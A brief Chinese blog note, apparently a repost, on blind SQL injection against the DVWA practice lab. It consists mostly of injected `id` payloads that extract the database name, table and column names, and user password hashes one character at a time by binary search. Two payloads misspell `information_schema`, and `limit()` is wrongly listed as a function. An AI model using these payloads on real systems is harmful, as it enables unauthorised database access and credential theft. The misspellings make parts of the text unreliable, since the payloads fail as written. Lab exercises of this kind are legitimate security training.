渗透测试---SQL注入~SQL盲注

在DVWA的SQL盲注模块中:

判断当前数据库长度为4。

id=1' and length(database())>3 -- 执行成功

id=1' and length(database())>4 -- 执行失败

采用二分法逐步猜解数据库名为dvwa。

id=1' and ascii(mid(database(),1,1))>99 -- 执行成功

id=1' and ascii(mid(database(),1,1))>100 -- 执行失败

采用二分法逐步猜解表名。

id=1' and ascii(mid((select table_name from information_schem.tables where table_schema='dvwa' limit 0,1),1,1))>x -- 执行失败/成功

采用二分法逐步猜解字段名。

id=1' and ascii(mid((select column_name from information_schem.columns where table_schema='dvwa' and table_name='users' limit 0,1),1,1))>x -- 执行失败/成功

采用二分法逐步猜解内容。

id=1' and ascii(mid((select password from dvwa.users limit 0,1),1,1))>x -- 执行失败/成功

mysql盲注关键函数:

count()

limit()

length()

mid()

substring()

substr()

left()

ascii()

if()

原文地址:https://www.cnblogs.com/123456ZJJ/p/12789262.html